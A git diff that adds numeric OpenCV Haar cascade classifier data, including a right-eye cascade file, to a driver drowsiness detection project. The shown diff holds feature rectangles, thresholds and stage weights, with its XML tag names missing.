1 3. + 1 + <_> + + <_> + 17 9 3 2 -1. + <_> + 18 10 1 2 3. + 1 + <_> + + <_> + 11 9 1 3 -1. + <_> + 11 10 1 1 3. + <_> + + <_> + 12 11 2 2 -1. + <_> + 12 11 1 1 2. + <_> + 13 12 1 1 2. + <_> + + <_> + 3 6 4 5 -1. + <_> + 4 6 2 5 2. + <_> + + <_> + 5 6 4 3 -1. + <_> + 6 6 2 3 2. + <_> + + <_> + 0 3 1 6 -1. + <_> + 0 5 1 2 3. + <_> + + <_> + 14 12 2 2 -1. + <_> + 14 12 1 1 2. + <_> + 15 13 1 1 2. + <_> + + <_> + 3 16 3 3 -1. + <_> + 4 16 1 3 3. + <_> + + <_> + 3 1 14 4 -1. + <_> + 3 3 14 2 2. + <_> + + <_> + 6 0 14 8 -1. + <_> + 6 0 7 4 2. + <_> + 13 4 7 4 2. + <_> + + <_> + 4 0 4 8 -1. + <_> + 4 2 4 4 2. + <_> + + <_> + 9 0 8 1 -1. + <_> + 13 0 4 1 2. + <_> + + <_> + 14 1 6 1 -1. + <_> + 17 1 3 1 2. + <_> + + <_> + 18 18 2 2 -1. + <_> + 18 19 2 1 2. + <_> + + <_> + 5 16 2 2 -1. + <_> + 5 16 1 2 2. + 1 + <_> + + <_> + 2 8 11 3 -1. + <_> + 2 9 11 1 3. + <_> + + <_> + 1 8 2 3 -1. + <_> + 1 9 2 1 3. + <_> + + <_> + 18 12 2 5 -1. + <_> + 19 12 1 5 2. + <_> + + <_> + 19 16 1 3 -1. + <_> + 18 17 1 1 3. + 1 + <_> + + <_> + 14 9 2 2 -1. + <_> + 14 9 1 2 2. + 1 + <_> + + <_> + 13 11 2 2 -1. + <_> + 13 11 1 1 2. + <_> + 14 12 1 1 2. + <_> + + <_> + 13 12 4 4 -1. + <_> + 14 12 2 4 2. + <_> + + <_> + 19 11 1 3 -1. + <_> + 19 12 1 1 3. + <_> + + <_> + 0 1 1 4 -1. + <_> + 0 3 1 2 2. + <_> + + <_> + 0 0 20 20 -1. + <_> + 0 0 10 10 2. + <_> + 10 10 10 10 2. + <_> + + <_> + 11 12 3 3 -1. + <_> + 10 13 3 1 3. + 1 + <_> + + <_> + 16 17 1 2 -1. + <_> + 16 17 1 1 2. + 1 + <_> + + <_> + 13 10 4 2 -1. + <_> + 13 10 2 1 2. + <_> + 15 11 2 1 2. + <_> + + <_> + 15 11 2 2 -1. + <_> + 15 11 1 1 2. + <_> + 16 12 1 1 2. + <_> + + <_> + 2 10 3 6 -1. + <_> + 3 10 1 6 3. + <_> + + <_> + 0 0 6 9 -1. + <_> + 2 0 2 9 3. + <_> + + <_> + 8 17 2 1 -1. + <_> + 8 17 1 1 2. + 1 + <_> + + <_> + 4 18 8 1 -1. + <_> + 8 18 4 1 2. + <_> + + <_> + 4 11 1 4 -1. + <_> + 3 12 1 2 2. + 1 + <_> + + <_> + 7 11 3 3 -1. + <_> + 6 12 3 1 3. + 1 + <_> + + <_> + 9 18 4 1 -1. + <_> + 10 18 2 1 2. + <_> + + <_> + 0 19 2 1 -1. + <_> + 1 19 1 1 2. + <_> + + <_> + 11 6 3 5 -1. + <_> + 12 6 1 5 3. + <_> + + <_> + 8 0 12 20 -1. + <_> + 8 0 6 10 2. + <_> + 14 10 6 10 2. + <_> + + <_> + 4 0 1 4 -1. + <_> + 3 1 1 2 2. + 1 + <_> + + <_> + 4 14 16 4 -1. + <_> + 8 14 8 4 2. + <_> + + <_> + 7 9 5 4 -1. + <_> + 6 10 5 2 2. + 1 + <_> + + <_> + 5 12 6 2 -1. + <_> + 5 12 3 2 2. + 1 + <_> + + <_> + 1 14 4 1 -1. + <_> + 1 14 2 1 2. + 1 + <_> + + <_> + 4 10 1 3 -1. + <_> + 3 11 1 1 3. + 1 + <_> + + <_> + 3 10 3 9 -1. + <_> + 4 10 1 9 3. + <_> + + <_> + 4 11 3 4 -1. + <_> + 5 11 1 4 3. + <_> + + <_> + 5 12 3 2 -1. + <_> + 6 12 1 2 3. + <_> + + <_> + 7 12 3 2 -1. + <_> + 8 12 1 2 3. + <_> + + <_> + 1 2 12 6 -1. + <_> + 5 2 4 6 3. + <_> + + <_> + 9 0 8 3 -1. + <_> + 11 2 4 3 2. + 1 + <_> + + <_> + 8 1 6 2 -1. + <_> + 8 1 3 2 2. + 1 + <_> + + <_> + 4 4 15 9 -1. + <_> + 4 7 15 3 3. + <_> + + <_> + 5 10 8 6 -1. + <_> + 7 10 4 6 2. + <_> + + <_> + 11 8 9 9 -1. + <_> + 11 11 9 3 3. + <_> + + <_> + 7 0 6 4 -1. + <_> + 9 2 2 4 3. + 1 + <_> + + <_> + 3 11 6 3 -1. + <_> + 2 12 6 1 3. + 1 + <_> + + <_> + 16 12 4 3 -1. + <_> + 18 12 2 3 2. + <_> + + <_> + 10 10 2 10 -1. + <_> + 10 15 2 5 2. + <_> + + <_> + 5 7 3 4 -1. + <_> + 4 8 3 2 2. + 1 + <_> + + <_> + 1 9 6 1 -1. + <_> + 3 11 2 1 3. + 1 + <_> + + <_> + 0 0 1 6 -1. + <_> + 0 3 1 3 2. + <_> + + <_> + 8 10 10 2 -1. + <_> + 8 10 5 1 2. + <_> + 13 11 5 1 2. + <_> + + <_> + 5 2 5 6 -1. + <_> + 5 5 5 3 2. + <_> + + <_> + 6 1 6 1 -1. + <_> + 6 1 3 1 2. + 1 + <_> + + <_> + 0 3 1 12 -1. + <_> + 0 7 1 4 3. + <_> + + <_> + 0 7 2 1 -1. + <_> + 1 7 1 1 2. + <_> + + <_> + 3 5 1 3 -1. + <_> + 2 6 1 1 3. + 1 + <_> + + <_> + 11 12 2 3 -1. + <_> + 10 13 2 1 3. + 1 + <_> + + <_> + 10 12 3 3 -1. + <_> + 11 12 1 3 3. + <_> + + <_> + 9 11 3 3 -1. + <_> + 10 12 1 1 9. + <_> + + <_> + 6 17 4 2 -1. + <_> + 7 17 2 2 2. + <_> + + <_> + 12 18 6 2 -1. + <_> + 15 18 3 2 2. + <_> + + <_> + 3 17 2 1 -1. + <_> + 3 17 1 1 2. + 1 + <_> + + <_> + 1 15 4 1 -1. + <_> + 2 16 2 1 2. + 1 + <_> + + <_> + 18 0 2 2 -1. + <_> + 18 1 2 1 2. + <_> + + <_> + 19 0 1 3 -1. + <_> + 19 1 1 1 3. + <_> + + <_> + 16 11 3 2 -1. + <_> + 16 11 3 1 2. + 1 + <_> + + <_> + 16 12 2 3 -1. + <_> + 15 13 2 1 3. + 1 + <_> + + <_> + 12 0 8 1 -1. + <_> + 16 0 4 1 2. + <_> + + <_> + 2 1 9 6 -1. + <_> + 2 4 9 3 2. + <_> + + <_> + 17 1 3 2 -1. + <_> + 17 1 3 1 2. + 1 + <_> + + <_> + 7 5 6 4 -1. + <_> + 7 6 6 2 2. + <_> + + <_> + 4 6 6 2 -1. + <_> + 7 6 3 2 2. + <_> + + <_> + 11 4 6 6 -1. + <_> + 13 4 2 6 3. + <_> + + <_> + 5 7 9 3 -1. + <_> + 5 8 9 1 3. + <_> + + <_> + 5 8 9 3 -1. + <_> + 5 9 9 1 3. + <_> + + <_> + 1 0 4 3 -1. + <_> + 2 0 2 3 2. + <_> + + <_> + 9 9 5 4 -1. + <_> + 9 10 5 2 2. + <_> + + <_> + 1 0 6 7 -1. + <_> + 3 0 2 7 3. + <_> + + <_> + 16 9 3 2 -1. + <_> + 17 10 1 2 3. + 1 + <_> + + <_> + 14 12 2 2 -1. + <_> + 14 12 1 1 2. + <_> + 15 13 1 1 2. + <_> + + <_> + 0 0 14 1 -1. + <_> + 7 0 7 1 2. + <_> + + <_> + 15 11 2 2 -1. + <_> + 15 11 1 2 2. + 1 + <_> + + <_> + 3 14 12 4 -1. + <_> + 3 14 6 2 2. + <_> + 9 16 6 2 2. + <_> + + <_> + 5 2 1 3 -1. + <_> + 4 3 1 1 3. + 1 + <_> + + <_> + 8 12 3 2 -1. + <_> + 9 13 1 2 3. + 1 + <_> + + <_> + 14 11 2 2 -1. + <_> + 14 11 1 1 2. + <_> + 15 12 1 1 2. + <_> + + <_> + 13 10 7 2 -1. + <_> + 13 11 7 1 2. + <_> + + <_> + 7 13 1 2 -1. + <_> + 7 13 1 1 2. + 1 + <_> + + <_> + 5 12 4 3 -1. + <_> + 6 12 2 3 2. + <_> + + <_> + 8 2 2 5 -1. + <_> + 9 2 1 5 2. + <_> + + <_> + 1 17 4 2 -1. + <_> + 3 17 2 2 2. + <_> + + <_> + 12 17 4 3 -1. + <_> + 13 17 2 3 2. + <_> + + <_> + 15 16 5 3 -1. + <_> + 15 17 5 1 3. + <_> + + <_> + 15 16 4 3 -1. + <_> + 15 17 4 1 3. + <_> + + <_> + 0 17 16 3 -1. + <_> + 4 17 8 3 2. + <_> + + <_> + 0 14 2 2 -1. + <_> + 0 14 1 1 2. + <_> + 1 15 1 1 2. + <_> + + <_> + 7 2 6 6 -1. + <_> + 7 4 6 2 3. + <_> + + <_> + 3 5 1 3 -1. + <_> + 2 6 1 1 3. + 1 + <_> + + <_> + 2 7 2 2 -1. + <_> + 2 7 2 1 2. + 1 + <_> + + <_> + 6 11 5 3 -1. + <_> + 5 12 5 1 3. + 1 + <_> + + <_> + 16 14 4 6 -1. + <_> + 16 17 4 3 2. + <_> + + <_> + 6 13 6 7 -1. + <_> + 8 13 2 7 3. + <_> + + <_> + 0 1 12 11 -1. + <_> + 3 1 6 11 2. + <_> + + <_> + 6 10 7 3 -1. + <_> + 6 11 7 1 3. + <_> + + <_> + 8 0 9 4 -1. + <_> + 8 2 9 2 2. + <_> + + <_> + 10 14 10 2 -1. + <_> + 10 15 10 1 2. + <_> + + <_> + 0 0 1 18 -1. + <_> + 0 6 1 6 3. + <_> + + <_> + 4 13 2 2 -1. + <_> + 4 13 1 1 2. + <_> + 5 14 1 1 2. + <_> + + <_> + 8 11 3 6 -1. + <_> + 9 12 1 6 3. + 1 + <_> + + <_> + 6 7 2 3 -1. + <_> + 5 8 2 1 3. + 1 + <_> + + <_> + 4 8 3 3 -1. + <_> + 5 8 1 3 3. + <_> + + <_> + 1 4 14 1 -1. + <_> + 1 4 7 1 2. + 1 + <_> + + <_> + 12 13 8 3 -1. + <_> + 14 13 4 3 2. + <_> + + <_> + 4 17 2 1 -1. + <_> + 4 17 1 1 2. + 1 + <_> + + <_> + 6 16 2 2 -1. + <_> + 6 16 1 2 2. + 1 + <_> + + <_> + 3 17 4 2 -1. + <_> + 4 17 2 2 2. + <_> + + <_> + 0 7 20 2 -1. + <_> + 5 7 10 2 2. + <_> + + <_> + 15 9 2 2 -1. + <_> + 15 9 1 2 2. + 1 + <_> + + <_> + 3 12 2 2 -1. + <_> + 3 12 1 1 2. + <_> + 4 13 1 1 2. + <_> + + <_> + 0 5 2 1 -1. + <_> + 1 5 1 1 2. + <_> + + <_> + 17 0 3 2 -1. + <_> + 18 1 1 2 3. + 1 + <_> + + <_> + 2 8 3 9 -1. + <_> + 3 11 1 3 9. + <_> + + <_> + 15 7 4 2 -1. + <_> + 16 8 2 2 2. + 1 + <_> + + <_> + 4 16 3 3 -1. + <_> + 5 16 1 3 3. + <_> + + <_> + 8 14 6 1 -1. + <_> + 10 14 2 1 3. + <_> + + <_> + 14 0 6 6 -1. + <_> + 14 0 3 3 2. + <_> + 17 3 3 3 2. + <_> + + <_> + 17 2 2 1 -1. + <_> + 17 2 1 1 2. + 1 + <_> + + <_> + 0 19 20 1 -1. + <_> + 10 19 10 1 2. + <_> + + <_> + 0 19 6 1 -1. + <_> + 3 19 3 1 2. + <_> + + <_> + 9 17 4 3 -1. + <_> + 10 17 2 3 2. + <_> + + <_> + 4 11 3 3 -1. + <_> + 5 12 1 1 9. + <_> + + <_> + 17 7 3 3 -1. + <_> + 18 8 1 3 3. + 1 + <_> + + <_> + 19 1 1 4 -1. + <_> + 18 2 1 2 2. + 1 + <_> + + <_> + 6 8 2 1 -1. + <_> + 7 8 1 1 2. + <_> + + <_> + 5 4 4 4 -1. + <_> + 6 5 2 4 2. + 1 + <_> + + <_> + 5 0 8 7 -1. + <_> + 9 0 4 7 2. + <_> + + <_> + 0 7 5 9 -1. + <_> + 0 10 5 3 3. + <_> + + <_> + 14 10 2 2 -1. + <_> + 14 10 1 1 2. + <_> + 15 11 1 1 2. + <_> + + <_> + 15 11 2 2 -1. + <_> + 15 11 1 1 2. + <_> + 16 12 1 1 2. + <_> + + <_> + 9 2 6 4 -1. + <_> + 11 2 2 4 3. + <_> + + <_> + 0 12 12 8 -1. + <_> + 6 12 6 8 2. + <_> + + <_> + 1 0 6 2 -1. + <_> + 3 0 2 2 3. + <_> + + <_> + 0 12 4 5 -1. + <_> + 1 12 2 5 2. + <_> + + <_> + 2 12 4 4 -1. + <_> + 3 12 2 4 2. + <_> + + <_> + 12 11 2 4 -1. + <_> + 13 11 1 4 2. + <_> + + <_> + 2 0 1 4 -1. + <_> + 2 2 1 2 2. + <_> + + <_> + 6 1 4 9 -1. + <_> + 7 1 2 9 2. + <_> + + <_> + 13 10 2 3 -1. + <_> + 13 11 2 1 3. + <_> + + <_> + 3 9 15 3 -1. + <_> + 8 10 5 1 9. + <_> + + <_> + 15 10 3 1 -1. + <_> + 16 11 1 1 3. + 1 + <_> + + <_> + 1 0 15 8 -1. + <_> + 1 2 15 4 2. + <_> + + <_> + 2 3 15 6 -1. + <_> + 2 6 15 3 2. + <_> + + <_> + 6 0 6 6 -1. + <_> + 6 2 6 2 3. + <_> + + <_> + 16 9 4 3 -1. + <_> + 16 10 4 1 3. + <_> + + <_> + 16 7 4 3 -1. + <_> + 16 8 4 1 3. + <_> + + <_> + 15 10 2 2 -1. + <_> + 15 10 1 1 2. + <_> + 16 11 1 1 2. + <_> + + <_> + 13 11 2 3 -1. + <_> + 13 12 2 1 3. + <_> + + <_> + 2 16 2 2 -1. + <_> + 2 16 1 2 2. + 1 + <_> + + <_> + 3 0 4 7 -1. + <_> + 4 0 2 7 2. + <_> + + <_> + 0 16 2 2 -1. + <_> + 0 16 1 1 2. + <_> + 1 17 1 1 2. + <_> + + <_> + 2 0 18 3 -1. + <_> + 8 0 6 3 3. + <_> + + <_> + 0 1 1 3 -1. + <_> + 0 2 1 1 3. + <_> + + <_> + 10 6 4 4 -1. + <_> + 10 7 4 2 2. + <_> + + <_> + 16 4 4 6 -1. + <_> + 16 4 2 3 2. + <_> + 18 7 2 3 2. + <_> + + <_> + 11 12 4 2 -1. + <_> + 11 12 2 1 2. + <_> + 13 13 2 1 2. + diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_righteye_2splits.xml b/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_righteye_2splits.xml new file mode 100644 index 00000000..db4571cd --- /dev/null +++ b/MachineLearning Projects/Driver-Drowsiness-Detection/haar_cascade_files/haarcascade_righteye_2splits.xml @@ -0,0 +1,7407 @@ + + + +BOOST + HAAR + 20 + 20 + + 34 + + 0 + 20 + + <_> + 5 + -2.2325520515441895e+00 + + <_> + + 1 0 0 -4.8210550099611282e-02 -1 -2 1 + -4.1576199233531952e-02 + + -8.6140447854995728e-01 9.1769057512283325e-01 + -2.1284009516239166e-01 + <_> + + 0 1 2 9.3528684228658676e-03 -1 -2 3 -2.2144919785205275e-04 + + -6.9785767793655396e-01 7.9523372650146484e-01 + -4.8948091268539429e-01 + <_> + + 0 1 4 -2.1853350102901459e-02 -1 -2 5 9.9672928452491760e-02 + + 7.0574641227722168e-01 -7.0666241645812988e-01 + 7.9210978746414185e-01 + <_> + + 1 0 6 -2.1664820611476898e-02 -1 -2 7 + -7.5680727604776621e-04 + + -6.0898607969284058e-01 7.1685701608657837e-01 + -3.0464568734169006e-01 + <_> + + 1 0 8 -1.3333049602806568e-02 -1 -2 9 9.2925298959016800e-03 + + -4.6844691038131714e-01 6.4235931634902954e-01 + -5.1180428266525269e-01 + <_> + 5 + -2.1598019599914551e+00 + + <_> + + 0 1 10 -3.3948719501495361e-01 -1 -2 11 + -1.3672479987144470e-01 + + 7.7913260459899902e-01 2.6421278715133667e-01 + -8.7910091876983643e-01 + <_> + + 0 1 12 3.1394500285387039e-02 -1 -2 13 + -1.0828140191733837e-02 + + -6.9956701993942261e-01 7.6504492759704590e-01 + -4.3719211220741272e-01 + <_> + + 1 0 14 -4.2506768368184566e-03 -1 -2 15 + -2.2675469517707825e-02 + + -5.7561582326889038e-01 7.4080592393875122e-01 + -3.6677250266075134e-01 + <_> + + 1 0 16 3.9161480963230133e-02 -1 -2 17 + -3.1934089493006468e-03 + + 6.4045161008834839e-01 1.6047589480876923e-01 + -7.1010977029800415e-01 + <_> + + 1 0 18 2.5321990251541138e-02 -1 -2 19 + 7.7583367237821221e-04 + + 4.9574860930442810e-01 -7.1737897396087646e-01 + -1.8581770360469818e-02 + <_> + 8 + -2.3451159000396729e+00 + + <_> + + 1 0 20 -2.6554059982299805e-01 -1 -2 21 + -2.2532779723405838e-02 + + -8.4712451696395874e-01 8.7977188825607300e-01 + -3.3394691348075867e-01 + <_> + + 0 1 22 8.5310067515820265e-04 -1 -2 23 + 1.5820249973330647e-04 + + -8.2032448053359985e-01 -7.5176358222961426e-01 + 6.7769712209701538e-01 + <_> + + 1 0 24 -1.0837490117410198e-04 -1 -2 25 + 2.6810260023921728e-03 + + -8.3314001560211182e-01 5.3844749927520752e-01 + -7.6534157991409302e-01 + <_> + + 0 1 26 8.5202371701598167e-04 -1 -2 27 + -1.2241739779710770e-02 + + -7.7514898777008057e-01 6.3240152597427368e-01 + -6.3395208120346069e-01 + <_> + + 1 0 28 6.2314196838997304e-05 -1 -2 29 + -7.1911108493804932e-01 + + 4.4290411472320557e-01 8.0135929584503174e-01 + -5.3431099653244019e-01 + <_> + + 1 0 30 -2.4280339479446411e-02 -1 -2 31 + 3.4558640327304602e-03 + + -6.7797917127609253e-01 4.9030610918998718e-01 + -8.8447982072830200e-01 + <_> + + 1 0 32 -6.2993327446747571e-05 -1 -2 33 + -4.6443562023341656e-03 + + -5.7883417606353760e-01 -8.5878807306289673e-01 + 5.2454602718353271e-01 + <_> + + 1 0 34 -4.0299328247783706e-05 -1 -2 35 + -3.7485519424080849e-03 + + -5.2713459730148315e-01 -8.5626190900802612e-01 + 4.8944610357284546e-01 + <_> + 10 + -2.3431489467620850e+00 + + <_> + + 0 1 36 -3.8377079367637634e-01 -1 -2 37 + -1.3837030529975891e-01 + + 7.1715021133422852e-01 3.4392359852790833e-01 + -7.9931277036666870e-01 + <_> + + 0 1 38 3.3107071067206562e-04 -1 -2 39 + -5.1273438148200512e-03 + + -6.8352431058883667e-01 5.8250617980957031e-01 + -4.0955001115798950e-01 + <_> + + 1 0 40 -2.6100680232048035e-02 -1 -2 41 + -1.0628979653120041e-03 + + -4.3713301420211792e-01 7.0680737495422363e-01 + -2.6817938685417175e-01 + <_> + + 0 1 42 -9.7854852676391602e-02 -1 -2 43 + -1.1829820275306702e-01 + + 7.3940038681030273e-01 6.3814181089401245e-01 + -3.8721871376037598e-01 + <_> + + 1 0 44 -7.5409049168229103e-03 -1 -2 45 + 2.6851659640669823e-03 + + -4.8803019523620605e-01 3.9083468914031982e-01 + -6.5561538934707642e-01 + <_> + + 0 1 46 1.6870240215212107e-03 -1 -2 47 + -3.8136160001158714e-03 + + -4.9891749024391174e-01 -6.6405588388442993e-01 + 4.0650749206542969e-01 + <_> + + 1 0 48 2.0289309322834015e-03 -1 -2 49 + -7.6308869756758213e-03 + + -6.9989210367202759e-01 4.3206840753555298e-01 + -2.9664969444274902e-01 + <_> + + 1 0 50 -3.3815231290645897e-04 -1 -2 51 + 7.5163291767239571e-03 + + -4.6808540821075439e-01 3.6521491408348083e-01 + -7.6014542579650879e-01 + <_> + + 1 0 52 6.1479508876800537e-02 -1 -2 53 + -4.6286579221487045e-02 + + 5.6990629434585571e-01 2.2625060379505157e-01 + -4.5330780744552612e-01 + <_> + + 1 0 54 4.6903551556169987e-03 -1 -2 55 + 1.8803169950842857e-03 + + -7.7286708354949951e-01 2.7349120378494263e-01 + -6.6667830944061279e-01 + <_> + 8 + -2.1268370151519775e+00 + + <_> + + 1 0 56 -5.5420672893524170e-01 -1 -2 57 + -6.9329799152910709e-03 + + -6.0620260238647461e-01 7.8542029857635498e-01 + -3.5522121191024780e-01 + <_> + + 0 1 58 -2.1169960498809814e-02 -1 -2 59 + -6.7428398132324219e-01 + + 5.2947688102722168e-01 4.6065220236778259e-01 + -7.0058208703994751e-01 + <_> + + 1 0 60 -4.2725078761577606e-02 -1 -2 61 + -1.0109329596161842e-02 + + -5.9904807806015015e-01 6.8109220266342163e-01 + -2.0731879770755768e-01 + <_> + + 0 1 62 6.5861130133271217e-03 -1 -2 63 + -7.6380418613553047e-03 + + -5.2420848608016968e-01 -7.0169782638549805e-01 + 4.4100138545036316e-01 + <_> + + 0 1 64 -9.7681581974029541e-02 -1 -2 65 + 1.0197360068559647e-02 + + 5.7708740234375000e-01 -9.8518550395965576e-02 + -8.8111698627471924e-01 + <_> + + 0 1 66 -2.5724549777805805e-03 -1 -2 67 + 2.6594230439513922e-03 + + -8.3233338594436646e-01 3.0995351076126099e-01 + -8.1609177589416504e-01 + <_> + + 1 0 68 -1.0042720241472125e-03 -1 -2 69 + 2.6080000679939985e-03 + + -4.3558520078659058e-01 3.3566600084304810e-01 + -8.1889331340789795e-01 + <_> + + 1 0 70 4.9724509008228779e-03 -1 -2 71 + 1.2243240140378475e-02 + + -7.7048182487487793e-01 2.2534200549125671e-01 + -6.8695551156997681e-01 + <_> + 10 + -2.0604379177093506e+00 + + <_> + + 1 0 72 -5.7784929871559143e-02 -1 -2 73 + -1.7517809756100178e-03 + + -7.0516008138656616e-01 8.5655921697616577e-01 + -9.2403419315814972e-02 + <_> + + 1 0 74 -1.1522379703819752e-02 -1 -2 75 + -3.8323760963976383e-03 + + -4.2749640345573425e-01 7.5913530588150024e-01 + -1.0894049704074860e-01 + <_> + + 1 0 76 -8.0922387540340424e-02 -1 -2 77 + -6.2537011690437794e-03 + + -3.1364768743515015e-01 6.9995921850204468e-01 + -1.1805690079927444e-01 + <_> + + 0 1 78 -1.2227860093116760e-01 -1 -2 79 + -6.4168110489845276e-02 + + 5.2072501182556152e-01 3.9272749423980713e-01 + -4.2194411158561707e-01 + <_> + + 1 0 80 -5.3712888620793819e-04 -1 -2 81 + -2.8175620827823877e-03 + + -4.9524548649787903e-01 4.1350141167640686e-01 + -3.8919278979301453e-01 + <_> + + 0 1 82 -3.6368549335747957e-03 -1 -2 83 + -1.3223909772932529e-03 + + 6.7615020275115967e-01 4.3426999449729919e-01 + -3.7642130255699158e-01 + <_> + + 0 1 84 3.7143539520911872e-04 -1 -2 85 + -5.0255712121725082e-03 + + -5.5630880594253540e-01 -5.2328592538833618e-01 + 3.4646821022033691e-01 + <_> + + 1 0 86 -9.2711612523999065e-05 -1 -2 87 + 1.9847028888761997e-03 + + -4.9652668833732605e-01 3.3401641249656677e-01 + -6.2446892261505127e-01 + <_> + + 1 0 88 4.7203440219163895e-02 -1 -2 89 + -6.8562600063160062e-05 + + 5.7562619447708130e-01 2.6172660291194916e-02 + -6.0849070549011230e-01 + <_> + + 1 0 90 7.5034219771623611e-03 -1 -2 91 + 6.3834791071712971e-03 + + -6.8576759099960327e-01 -1.7312510311603546e-01 + 3.8560429215431213e-01 + <_> + 12 + -2.3187489509582520e+00 + + <_> + + 1 0 92 -1.5584450215101242e-02 -1 -2 93 + 1.4557019807398319e-02 + + -6.6648960113525391e-01 -4.3745130300521851e-01 + 7.2227817773818970e-01 + <_> + + 1 0 94 -5.7889888994395733e-03 -1 -2 95 + -8.1936769187450409e-02 + + -4.3183240294456482e-01 6.8467652797698975e-01 + -2.2546729445457458e-01 + <_> + + 1 0 96 -4.2995368130505085e-03 -1 -2 97 + -1.3736640103161335e-02 + + -5.2409631013870239e-01 6.1626207828521729e-01 + -3.5893160104751587e-01 + <_> + + 1 0 98 -4.8069912008941174e-03 -1 -2 99 + -7.7131099998950958e-02 + + -4.2382389307022095e-01 6.0599362850189209e-01 + -3.1555330753326416e-01 + <_> + + 0 1 100 4.4640208943746984e-04 -1 -2 101 + 3.4841578453779221e-02 + + -4.9206110835075378e-01 -4.1017889976501465e-02 + 6.1330878734588623e-01 + <_> + + 0 1 102 8.2969048526138067e-04 -1 -2 103 + -7.8510129242204130e-05 + + -4.5479419827461243e-01 4.0007328987121582e-01 + -2.0888769626617432e-01 + <_> + + 1 0 104 4.6054688282310963e-03 -1 -2 105 + -7.1904482319951057e-03 + + -6.7931377887725830e-01 4.7060671448707581e-01 + -1.4138610661029816e-01 + <_> + + 0 1 106 -5.5724480189383030e-03 -1 -2 107 + -7.0458237314596772e-04 + + -7.0525509119033813e-01 3.6097851395606995e-01 + -1.8361540138721466e-01 + <_> + + 1 0 108 1.8595060333609581e-02 -1 -2 109 + 5.0072550773620605e-02 + + 4.1765761375427246e-01 -4.1869449615478516e-01 + 2.8186509013175964e-01 + <_> + + 1 0 110 -2.0355919376015663e-02 -1 -2 111 + -2.8686519712209702e-02 + + -3.6494150757789612e-01 -5.3867787122726440e-01 + 3.4767881035804749e-01 + <_> + + 1 0 112 -7.1101690991781652e-05 -1 -2 113 + 2.0686469506472349e-03 + + -4.0156790614128113e-01 3.2963660359382629e-01 + -7.0951050519943237e-01 + <_> + + 1 0 114 1.1430920567363501e-03 -1 -2 115 + -8.8636036962270737e-03 + + 4.4172981381416321e-01 1.8426130712032318e-01 + -4.1275170445442200e-01 + <_> + 15 + -2.2203750610351562e+00 + + <_> + + 1 0 116 -7.7637642621994019e-02 -1 -2 117 + -8.4830820560455322e-03 + + -4.9321529269218445e-01 7.8138542175292969e-01 + -3.6062291264533997e-01 + <_> + + 1 0 118 -1.7180460272356868e-03 -1 -2 119 + 2.4740949273109436e-02 + + -4.7690048813819885e-01 -3.2420080900192261e-01 + 5.9280002117156982e-01 + <_> + + 0 1 120 3.3028100151568651e-03 -1 -2 121 + -3.4622039645910263e-02 + + -5.3991597890853882e-01 5.2076727151870728e-01 + -3.3530798554420471e-01 + <_> + + 1 0 122 -7.1505777304992080e-04 -1 -2 123 + -9.0145105496048927e-03 + + -4.8981699347496033e-01 -7.7969801425933838e-01 + 3.6586359143257141e-01 + <_> + + 1 0 124 -1.0250939521938562e-03 -1 -2 125 + -5.5693178437650204e-03 + + -4.6970510482788086e-01 -6.9695621728897095e-01 + 3.5025438666343689e-01 + <_> + + 0 1 126 1.3235070509836078e-03 -1 -2 127 + -3.3737940248101950e-03 + + -4.4707980751991272e-01 -5.6195151805877686e-01 + 3.1833809614181519e-01 + <_> + + 1 0 128 -6.4095242123585194e-05 -1 -2 129 + -2.7294119354337454e-03 + + -3.5473638772964478e-01 4.1285240650177002e-01 + -3.1416821479797363e-01 + <_> + + 0 1 130 6.3087652961257845e-05 -1 -2 131 + -1.5436099842190742e-02 + + -3.5946568846702576e-01 -6.1329078674316406e-01 + 3.4301999211311340e-01 + <_> + + 0 1 132 -2.1025019232183695e-03 -1 -2 133 + -1.6849569976329803e-02 + + -7.6962250471115112e-01 3.6569809913635254e-01 + -2.1210379898548126e-01 + <_> + + 0 1 134 5.6847798987291753e-05 -1 -2 135 + 5.9984489344060421e-03 + + -4.0466558933258057e-01 2.8503778576850891e-01 + -5.8756178617477417e-01 + <_> + + 1 0 136 6.1389962211251259e-03 -1 -2 137 + -2.8117469628341496e-04 + + -8.7189829349517822e-01 2.5182509422302246e-01 + -3.1868219375610352e-01 + <_> + + 1 0 138 -4.5429798774421215e-03 -1 -2 139 + -3.2167110592126846e-02 + + -3.6724218726158142e-01 -7.9481202363967896e-01 + 2.8887200355529785e-01 + <_> + + 1 0 140 5.0912089645862579e-03 -1 -2 141 + -1.5173070132732391e-03 + + -7.1477490663528442e-01 4.4514629244804382e-01 + -9.5207341015338898e-02 + <_> + + 1 0 142 -6.0079508693888783e-04 -1 -2 143 + 4.4868541881442070e-03 + + -3.6021450161933899e-01 2.8276360034942627e-01 + -7.2084128856658936e-01 + <_> + + 1 0 144 -3.7957848981022835e-03 -1 -2 145 + -9.1829998418688774e-03 + + -2.8717440366744995e-01 5.0479042530059814e-01 + -7.0781037211418152e-02 + <_> + 17 + -2.1757249832153320e+00 + + <_> + + 1 0 146 -5.5760249495506287e-02 -1 -2 147 + -5.9436690062284470e-02 + + -5.5854648351669312e-01 6.8943697214126587e-01 + -3.7195080518722534e-01 + <_> + + 0 1 148 -5.4637178778648376e-02 -1 -2 149 + 2.3608359694480896e-01 + + 5.3040331602096558e-01 -4.7355309128761292e-01 + 4.6322488784790039e-01 + <_> + + 1 0 150 -9.4560505822300911e-03 -1 -2 151 + -5.3182709962129593e-02 + + -3.2544779777526855e-01 6.3468569517135620e-01 + -2.8268361091613770e-01 + <_> + + 1 0 152 -1.0638199746608734e-02 -1 -2 153 + -2.1207019686698914e-02 + + -5.5776351690292358e-01 3.9049190282821655e-01 + -4.2111930251121521e-01 + <_> + + 1 0 154 -5.6731878430582583e-05 -1 -2 155 + -4.4976451317779720e-04 + + -4.1803309321403503e-01 3.7355789542198181e-01 + -3.9199641346931458e-01 + <_> + + 1 0 156 2.7574670966714621e-03 -1 -2 157 + 2.5649419985711575e-03 + + -7.9104632139205933e-01 1.9258180260658264e-01 + -7.5344461202621460e-01 + <_> + + 0 1 158 -9.4359368085861206e-03 -1 -2 159 + 1.4136210083961487e-03 + + 4.4834750890731812e-01 -3.3878430724143982e-01 + 4.4291919469833374e-01 + <_> + + 1 0 160 3.9976350963115692e-03 -1 -2 161 + -1.5278969658538699e-03 + + -6.6637581586837769e-01 3.1292399764060974e-01 + -2.8027990460395813e-01 + <_> + + 1 0 162 -3.2376639865105972e-05 -1 -2 163 + 1.6323389718309045e-03 + + -4.6672090888023376e-01 